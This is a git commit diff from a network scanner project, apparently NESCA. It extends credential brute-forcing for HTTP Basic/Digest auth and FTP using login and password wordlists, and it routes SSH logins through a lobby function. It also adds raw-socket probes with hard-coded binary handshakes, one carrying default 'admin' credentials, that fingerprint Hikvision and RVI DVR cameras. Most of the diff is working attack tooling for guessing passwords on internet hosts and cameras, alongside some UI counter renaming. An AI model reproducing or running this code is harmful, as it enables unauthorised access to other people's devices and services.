Shuffle visualizer

This commit is contained in:
cora32 2015-08-08 01:37:28 +03:00
parent 68bfe1800c
commit 36f908a204
42 changed files with 5503 additions and 5191 deletions

View File

@ -25,8 +25,6 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
)
{
stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
Sleep(30000);
return -1;
}
@ -47,33 +45,28 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
return 0;
}
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
string lpString;
lopaStr BA::BABrute(const char *ip, const int port) {
bool digestMode = true;
string lpString;
lopaStr lps = {"UNKNOWN", "", ""};
int passCounter = 0;
int res = 0;
int rowIndex = -1;
std::string buff;
Connector con;
Sleep(1000);
con.nConnect(ip, port, &buff);
int isDig = Utils::isDigest(&buff);
QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port);
if (isDig == -1) {
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port) + "/\">" +
QString(ip) + ":" + QString::number(port) + "</a></span>");
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + ipString + "/\">" +
ipString + "</a></span>");
strcpy(lps.login, "");
return lps;
}
else if (isDig == 1) {
if (digestMode != true) {
digestMode = true;
}
}
else {
if (digestMode != false) {
digestMode = false;
};
}
else if (isDig == 1) digestMode = true;
else digestMode = false;
std::string buffer;
@ -96,6 +89,13 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
else if (res != -1) {
res = checkOutput(&buffer, ip, port);
if (res == -2) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "404");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "404");
}
strcpy(lps.other, "404");
return lps;
}
@ -104,31 +104,53 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
break;
}
if (res == 1) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
}
strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]);
return lps;
};
}
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100);
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
QString(loginLst[i]) + ":" + QString(passLst[j]),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]),
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
}
}
else { rowIndex = -1; }
++passCounter;
Sleep(50);
}
}
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return lps;
}
lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) {
lopaStr BA::BALobby(const char *ip, const int port) {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
++baCount;
++BrutingThrds;
const lopaStr &lps = BABrute(ip, port, digestMode);
const lopaStr &lps = BABrute(ip, port);
--BrutingThrds;
return lps;

View File

@ -8,11 +8,11 @@
class BA {
private:
static lopaStr BABrute(const char *ip, const int port, bool digestMode);
static lopaStr BABrute(const char *ip, const int port);
public:
static int checkOutput(const string *buffer, const char *ip, const int port);
static lopaStr BALobby(const char *ip, const int port, bool digestMode);
static lopaStr BALobby(const char *ip, const int port);
};
#endif // BASICAUTH_H

View File

@ -2,7 +2,6 @@
#include "SSHAuth.h"
#include "Filter.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
int _pingMyTarget(const char *ip)
{
@ -197,16 +196,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
else res = curl_easy_perform(curl);
int sz = buffer->size();
curl_easy_cleanup(curl);
if (res == CURLE_OK || (port == 21 && sz > 0)) {
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
Activity += sz;
curl_easy_cleanup(curl);
return sz;
} else {
curl_easy_cleanup(curl);
if (res == 6) return -2;
if (res == 56 && port == 8000) return 1; //Hikvision
else if (res != 28 &&
res != 7 &&
res != 13 &&
@ -219,7 +216,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
res != 23)
{
if (res == 5) {
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
stt->doEmitionRedFoundData("The given proxy host could not be resolved.");
return -2;
} else if (res == 8) {
stt->doEmitionFoundData("Strange ftp reply. (" +
@ -251,6 +248,28 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
};
}
bool portCheck(const char * sDVRIP, int wDVRPort) {
CURL *curl = curl_easy_init();
if (curl != NULL) {
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
curl_easy_setopt(curl, CURLOPT_URL, sDVRIP);
curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort);
int proxyPort = std::atoi(gProxyPort);
if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);
int res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
if (res != CURLE_OK) {
return false;
}
else return true;
}
else return false;
}
int Connector::connectToPort(char* ip, int port)
{
if(gPingNScan)
@ -261,16 +280,25 @@ int Connector::connectToPort(char* ip, int port)
std::string buffer;
int size = 0;
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
else size = nConnect(ip, port, &buffer);
if (port != 37777 && port != 8000 && port != 34567 && port != 9000){
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
else size = nConnect(ip, port, &buffer);
if(size > 0)
{
++Alive;//ME2
++found;//PieStat
Lexems lx;
lx.filler(ip, port, &buffer, size, &lx);
if (size > 0)
{
++Alive;//ME2
++found;//PieStat
Lexems lx;
lx.filler(ip, port, &buffer, size, &lx);
}
else if (size == -2) return -2;
} else {
if (portCheck(ip, port)) {
++Alive;//ME2
++found;//PieStat
Lexems lx;
lx.filler(ip, port, &buffer, size, &lx);
};
}
else if (size == -2) return -2;
return 0;
return 0;
}

View File

@ -10,6 +10,27 @@
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib,"curllib.lib")
#endif
#include <openssl/err.h>
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
#define MUTEX_TYPE HANDLE
#define MUTEX_SETUP(x) (x) = CreateMutex(NULL, FALSE, NULL)
#define MUTEX_CLEANUP(x) CloseHandle(x)
#define MUTEX_LOCK(x) WaitForSingleObject((x), INFINITE)
#define MUTEX_UNLOCK(x) ReleaseMutex(x)
#define THREAD_ID GetCurrentThreadId()
#else
#include <pthread.h>
#define MUTEX_TYPE pthread_mutex_t
#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL)
#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x))
#define MUTEX_LOCK(x) pthread_mutex_lock(&(x))
#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x))
#define THREAD_ID pthread_self()
#endif
class Connector {
public:
@ -18,11 +39,6 @@ public:
const std::vector<std::string> *customHeaders = NULL,
const std::string *lpString = NULL,
bool digestMode = false);
//static int nConnect2(const char* ip, const int port, std::string *buffer,
// const char *postData = NULL,
// const std::vector<std::string> *customHeaders = NULL,
// const std::string *lpString = NULL,
// bool digestMode = false);
int connectToPort(char *ip, int port);
};
#endif // CONNECTOR_H

View File

@ -40,8 +40,8 @@ int MakePolygonLine(int gWidth)
xtx = x + tx;
if(xtx > 1 && xtx < 31)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS);
if(AnomC1 > 0)
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS);
if (camerasC1 > 0)
{
if(xtx < 16 ) fact1+=2;
else fact1-=2;
@ -50,9 +50,9 @@ int MakePolygonLine(int gWidth)
if(xtx > 34 && xtx < 72)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS);
if(WF > 0)
if(/*WF*/0 > 0)
{
if(xtx < 52 ) fact2+=2;
else fact2-=2;
@ -72,9 +72,9 @@ int MakePolygonLine(int gWidth)
if(xtx > 114 && xtx < 152)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - other * 2 - fact4 : ME2YPOS);
if(Susp > 0)
if (other > 0)
{
if(xtx < 132 ) fact4+=2;
else fact4-=2;
@ -94,9 +94,9 @@ int MakePolygonLine(int gWidth)
if(xtx > 194 && xtx < 232)
{
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS);
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS);
if(Lowl > 0)
if(/*Lowl*/0 > 0)
{
if(xtx < 212 ) fact6+=2;
else fact6-=2;
@ -118,14 +118,14 @@ int MakePolygonLine(int gWidth)
tx = x;
};
AnomC1 = 0;
WF = 0;
camerasC1 = 0;
//WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
Lowl = 0;
//Lowl = 0;
Alive = 0;
Susp = 0;
other = 0;
DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
return DrawerTh_ME2Scanner::polyVect.size();
@ -148,14 +148,14 @@ void DrawerTh_ME2Scanner::run()
else
{
msleep(1000);
AnomC1 = 0;
WF = 0;
camerasC1 = 0;
//WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
Lowl = 0;
//Lowl = 0;
Alive = 0;
Susp = 0;
other = 0;
};
msleep(100);
};

View File

@ -12,10 +12,10 @@ void DrawerTh_QoSScanner::run()
{
lstOfLabels.clear();
lstOfLabels.append(Alive);
lstOfLabels.append(AnomC1);
lstOfLabels.append(WF);
lstOfLabels.append(Susp);
lstOfLabels.append(Lowl);
lstOfLabels.append(camerasC1);
//lstOfLabels.append(WF);
lstOfLabels.append(other);
//lstOfLabels.append(Lowl);
lstOfLabels.append(baCount);
lstOfLabels.append(Overl);
lstOfLabels.append(ssh);
@ -29,25 +29,25 @@ void DrawerTh_QoSScanner::run()
else
{
msleep(500);
AnomC1 = 0;
WF = 0;
camerasC1 = 0;
//WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
Lowl = 0;
//Lowl = 0;
Alive = 0;
Susp = 0;
other = 0;
ssh = 0;
};
AnomC1 = 0;
WF = 0;
camerasC1 = 0;
//WF = 0;
baCount = 0;
filtered = 0;
Overl = 0;
Lowl = 0;
//Lowl = 0;
Alive = 0;
Susp = 0;
other = 0;
ssh = 0;
msleep(2000);
};

View File

@ -104,15 +104,15 @@ void DrawerTh_VoiceScanner::run()
{
if(widgetIsHidden == false && tray->isVisible() == false)
{
makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, baCount, Overl, WF, ssh);
makeVoiceLine(Alive, camerasC1, 0, other, 0, baCount, Overl, 0, ssh);
Alive = 0;
AnomC1 = 0;
WF = 0;
camerasC1 = 0;
//WF = 0;
filtered = 0;
Lowl = 0;
//Lowl = 0;
baCount = 0;
Overl = 0;
Susp = 0;
other = 0;
ssh = 0;
vsTh->doEmitAddLine();
@ -122,13 +122,13 @@ void DrawerTh_VoiceScanner::run()
{
msleep(500);
Alive = 0;
AnomC1 = 0;
WF = 0;
camerasC1 = 0;
//WF = 0;
filtered = 0;
Lowl = 0;
//Lowl = 0;
baCount = 0;
Overl = 0;
Susp = 0;
other = 0;
ssh = 0;
};
};

View File

@ -17,26 +17,26 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
int res = 0;
int passCounter = 0;
int rowIndex = -1;
char login[128] = {0};
char pass[32] = {0};
char nip[128] = { 0 };
for(int i = 0; i < MaxLogin; ++i)
for (int i = 0; i < MaxFTPLogin; ++i)
{
if(!globalScanFlag) return lps;
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
if(strlen(loginLst[i]) <= 1) continue;
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
strcpy(login, ftpLoginLst[i]);
if (strlen(login) <= 1) continue;
strcpy(login, loginLst[i]);
for(int j = 0; j < MaxPass; ++j)
for (int j = 0; j < MaxFTPPass; ++j)
{
if(!globalScanFlag) return lps;
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
if(strlen(passLst[j]) <= 1) continue;
strcpy(pass, passLst[j]);
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
strcpy(pass, ftpPassLst[j]);
if (strlen(pass) <= 1) continue;
lpString = string(login) + ":" + string(pass);
@ -44,23 +44,54 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
sprintf(nip, "ftp://%s", ip);
Connector con;
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
if (res == -2) return lps;
if (res == -2) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return lps;
}
else if (res != -1) {
if (!globalScanFlag) return lps;
strcpy(lps.login, login);
strcpy(lps.pass, pass);
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
}
return lps;
};
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100);
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
}
}
else { rowIndex = -1; }
++passCounter;
Sleep(50);
}
}
if (rowIndex == -1) {
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
return lps;
}
@ -69,15 +100,13 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
++baCount;
//BruteUtils::BConInc();
++BrutingThrds;
const lopaStr &lps = FTPBrute(ip, port, ps);
--BrutingThrds;
//BruteUtils::BConDec();
return lps;
} else {
lopaStr lps = {"UNKNOWN", "", ""};;
lopaStr lps = {"UNKNOWN", "", ""};
return lps;
}
}

View File

@ -48,12 +48,12 @@ void checkWeb(const char *fileName, std::string *oldLM) {
void FileDownloader::checkWebFiles() {
while (true) {
checkWeb("negatives.txt", &lastModifiedNeg);
checkWeb("login.txt", &lastModifiedL);
checkWeb("pass.txt", &lastModifiedP);
checkWeb("sshpass.txt", &lastModifiedSSH);
checkWeb("wflogin.txt", &lastModifiedWFL);
checkWeb("wfpass.txt", &lastModifiedWFP);
checkWeb(NEGATIVE_FN, &lastModifiedNeg);
checkWeb(LOGIN_FN, &lastModifiedL);
checkWeb(PASS_FN, &lastModifiedP);
checkWeb(SSH_PASS_FN, &lastModifiedSSH);
checkWeb(WF_LOGIN_FN, &lastModifiedWFL);
checkWeb(WF_PASS_FN, &lastModifiedWFP);
Sleep(600000);
}
}

View File

@ -3,6 +3,11 @@
#include "STh.h"
#include "mainResources.h"
char **loginLst, **passLst;
char **wfLoginLst, **wfPassLst;
char **ftpLoginLst, **ftpPassLst;
char **sshlpLst;
bool FileUpdater::running = false;
long FileUpdater::oldNegLstSize = 0;
long FileUpdater::oldLoginLstSize = 0;
@ -10,6 +15,8 @@ long FileUpdater::oldPassLstSize = 0;
long FileUpdater::oldSSHLstSize = 0;
long FileUpdater::oldWFLoginLstSize = 0;
long FileUpdater::oldWFPassLstSize = 0;
long FileUpdater::oldFTPLoginLstSize = 0;
long FileUpdater::oldFTPPassLstSize = 0;
int FileUpdater::gNegativeSize = 0;
std::mutex FileUpdater::filesUpdatingMutex;
std::condition_variable FileUpdater::cv;
@ -18,7 +25,7 @@ std::unique_lock<std::mutex> FileUpdater::lk;
std::vector<std::string> FileUpdater::negativeVector;
void negativeLoader() {
std::ifstream file("negatives.txt");
std::ifstream file(NEGATIVE_FN);
std::string line;
while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line);
@ -41,7 +48,7 @@ void updateLogin() {
char buffFG[32] = {0};
FILE *loginList = fopen("login.txt", "r");
FILE *loginList = fopen(LOGIN_FN, "r");
if(loginList != NULL)
{
@ -94,7 +101,7 @@ void updatePass() {
char buffFG[32] = {0};
FILE *passList = fopen("pass.txt", "r");
FILE *passList = fopen(PASS_FN, "r");
if(passList != NULL)
{
@ -148,7 +155,7 @@ void updateSSH() {
char buffFG[32] = {0};
ZeroMemory(buffFG, sizeof(buffFG));
FILE *sshlpList = fopen("sshpass.txt", "r");
FILE *sshlpList = fopen(SSH_PASS_FN, "r");
if(sshlpList != NULL)
{
@ -202,7 +209,7 @@ void updateWFLogin() {
char buffFG[32] = {0};
ZeroMemory(buffFG, sizeof(buffFG));
FILE *wfLoginList = fopen("wflogin.txt", "r");
FILE *wfLoginList = fopen(WF_LOGIN_FN, "r");
if(wfLoginList != NULL)
{
@ -251,7 +258,7 @@ void updateWFPass() {
char buffFG[32] = {0};
ZeroMemory(buffFG, sizeof(buffFG));
FILE *wfPassList = fopen("wfpass.txt", "r");
FILE *wfPassList = fopen(WF_PASS_FN, "r");
if(wfPassList != NULL)
{
@ -286,7 +293,104 @@ void updateWFPass() {
fclose(wfPassList);
}
}
void updateFTPLogin() {
if (ftpLoginLst != NULL)
{
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
delete[]ftpLoginLst;
ftpLoginLst = NULL;
};
MaxFTPLogin = 0;
char buffFG[32] = { 0 };
ZeroMemory(buffFG, sizeof(buffFG));
FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r");
if (ftpLoginList != NULL)
{
while (fgets(buffFG, 32, ftpLoginList) != NULL)
{
MaxFTPLogin++;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(ftpLoginList);
ftpLoginLst = new char*[MaxFTPLogin];
for (int j = 0; j < MaxFTPLogin; j++)
{
ftpLoginLst[j] = new char[32];
};
int i = 0;
while (fgets(buffFG, 32, ftpLoginList) != NULL)
{
memset(ftpLoginLst[i], 0, strlen(buffFG) + 1);
if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)");
else stt->doEmitionFoundData("<font color=\"Pink\">FTP login list updated (" + QString::number(MaxFTPLogin) + " entries)</font>");
fclose(ftpLoginList);
}
}
void updateFTPPass() {
if (ftpPassLst != NULL)
{
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
delete[]ftpPassLst;
ftpPassLst = NULL;
};
MaxFTPPass = 0;
char buffFG[32] = { 0 };
ZeroMemory(buffFG, sizeof(buffFG));
FILE *ftpPassList = fopen(FTP_PASS_FN, "r");
if (ftpPassList != NULL)
{
while (fgets(buffFG, 32, ftpPassList) != NULL)
{
++MaxFTPPass;
ZeroMemory(buffFG, sizeof(buffFG));
};
rewind(ftpPassList);
ftpPassLst = new char*[MaxFTPPass];
for (int j = 0; j < MaxFTPPass; j++)
{
ftpPassLst[j] = new char[32];
};
int i = 0;
while (fgets(buffFG, 32, ftpPassList) != NULL)
{
memset(ftpPassLst[i], 0, strlen(buffFG) + 1);
if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1);
else strncat(ftpPassLst[i++], buffFG, strlen(buffFG));
ZeroMemory(buffFG, sizeof(buffFG));
};
if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)");
else stt->doEmitionFoundData("<font color=\"Pink\">FTP password list updated (" + QString::number(MaxFTPPass) + " entries)</font>");
fclose(ftpPassList);
}
}
long getFileSize(const char *fileName) {
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
return in.tellg();
@ -316,12 +420,14 @@ void FileUpdater::updateLists() {
}
void FileUpdater::loadOnce() {
updateList("negatives.txt", &oldNegLstSize, (void*(*)(void))updateNegatives);
updateList("login.txt", &oldLoginLstSize, (void*(*)(void))updateLogin);
updateList("pass.txt", &oldPassLstSize, (void*(*)(void))updatePass);
updateList("sshpass.txt", &oldSSHLstSize, (void*(*)(void))updateSSH);
updateList("wflogin.txt", &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
updateList("wfpass.txt", &oldWFPassLstSize, (void*(*)(void))updateWFPass);
updateList(NEGATIVE_FN, &oldNegLstSize, (void*(*)(void))updateNegatives);
updateList(LOGIN_FN, &oldLoginLstSize, (void*(*)(void))updateLogin);
updateList(PASS_FN, &oldPassLstSize, (void*(*)(void))updatePass);
updateList(SSH_PASS_FN, &oldSSHLstSize, (void*(*)(void))updateSSH);
updateList(WF_LOGIN_FN, &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
updateList(WF_PASS_FN, &oldWFPassLstSize, (void*(*)(void))updateWFPass);
updateList(FTP_LOGIN_FN, &oldFTPLoginLstSize, (void*(*)(void))updateFTPLogin);
updateList(FTP_PASS_FN, &oldFTPPassLstSize, (void*(*)(void))updateFTPPass);
}
void FileUpdater::FUClear() {
@ -329,7 +435,9 @@ void FileUpdater::FUClear() {
oldNegLstSize = 0;
oldLoginLstSize = 0;
oldPassLstSize = 0;
oldSSHLstSize = 0;
oldWFLoginLstSize = 0;
oldWFPassLstSize = 0;
oldSSHLstSize = 0;
oldWFLoginLstSize = 0;
oldWFPassLstSize = 0;
oldFTPLoginLstSize = 0;
oldFTPPassLstSize = 0;
}

View File

@ -14,7 +14,10 @@ public:
static long oldPassLstSize;
static long oldSSHLstSize;
static long oldWFLoginLstSize;
static long oldWFPassLstSize;
static long oldWFPassLstSize;
static long oldFTPLoginLstSize;
static long oldFTPPassLstSize;
static bool ready;
static std::condition_variable cv;
static std::mutex filesUpdatingMutex;

View File

@ -4,37 +4,383 @@
bool HikVis::isInitialized = false;
const char headerSAFARI[128] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x52, 0x00, 0x00, 0x00, 0x7b, 0x22, 0x4d, 0x4f,
0x44, 0x55, 0x4c, 0x45, 0x22, 0x3a, 0x22, 0x43, 0x45, 0x52, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41,
0x54, 0x45, 0x22, 0x2c, 0x22, 0x4f, 0x50, 0x45, 0x52, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x22, 0x3a,
0x22, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x22, 0x2c, 0x22, 0x53, 0x45, 0x53, 0x53, 0x49,
0x4f, 0x4e, 0x22, 0x3a, 0x22, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x35, 0x2d, 0x36, 0x66,
0x37, 0x32, 0x2d, 0x34, 0x31, 0x63, 0x61, 0x2d, 0x39, 0x63, 0x37, 0x33, 0x2d, 0x62, 0x34, 0x37,
0x31, 0x33, 0x32, 0x36, 0x33, 0x65, 0x62, 0x36, 0x30, 0x22, 0x7d, 0x00
};
const char headerIVMS[32] = {
0x00, 0x00, 0x00, 0x20, 0x63, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
const char headerRVI[32] = {
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00,
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
};
const char loginRVIHeaderStart[8] = {
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00
};
const char loginRVIHeaderEnd[8] = {
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
};
int recvWT(
int Socket,
char *Buffer,
int Len,
long Timeout,
int *bTimedOut
){
fd_set ReadSet;
int n;
struct timeval Time;
FD_ZERO(&ReadSet);
FD_SET(Socket, &ReadSet);
Time.tv_sec = Timeout;
Time.tv_usec = 0;
*bTimedOut = FALSE;
n = select(Socket + 1, &ReadSet, NULL, NULL, &Time);
if (n > 0) { /* got some data */
return recv(Socket, Buffer, Len, 0);
}
if (n == 0) { /* timeout */
*bTimedOut = TRUE;
}
return(n); /* trouble */
}
bool HikVis::checkHikk(const char * sDVRIP, int port) {
sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
hostent *host = NULL;
#if defined(WIN32)
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#else
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif
else return false;
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) return false;
struct linger linger = { 1, gTimeOut };
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
int bTO;
char buff[2048] = { 0 };
if (res != SOCKET_ERROR) {
send(sock, headerIVMS, 32, 0);
char tBuff[32] = { 0 };
int offset = 0;
int sz = 0;
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
memcpy(buff + offset, tBuff, sz);
offset = sz;
}
shutdown(sock, SD_BOTH);
closesocket(sock);
if (buff[3] == 0x10) return true;
else return false;
}
shutdown(sock, SD_BOTH);
closesocket(sock);
return false;
}
bool HikVis::checkRVI(const char * sDVRIP, int port) {
sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
hostent *host = NULL;
#if defined(WIN32)
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#else
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif
else return false;
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) return false;
struct linger linger = { 1, gTimeOut };
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
int bTO;
char buff[2048] = { 0 };
if (res != SOCKET_ERROR) {
send(sock, headerRVI, 32, 0);
char tBuff[32] = { 0 };
int offset = 0;
int sz = 0;
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
memcpy(buff + offset, tBuff, sz);
offset = sz;
}
shutdown(sock, SD_BOTH);
closesocket(sock);
if (buff[0] == -80) return true;
else return false;
}
shutdown(sock, SD_BOTH);
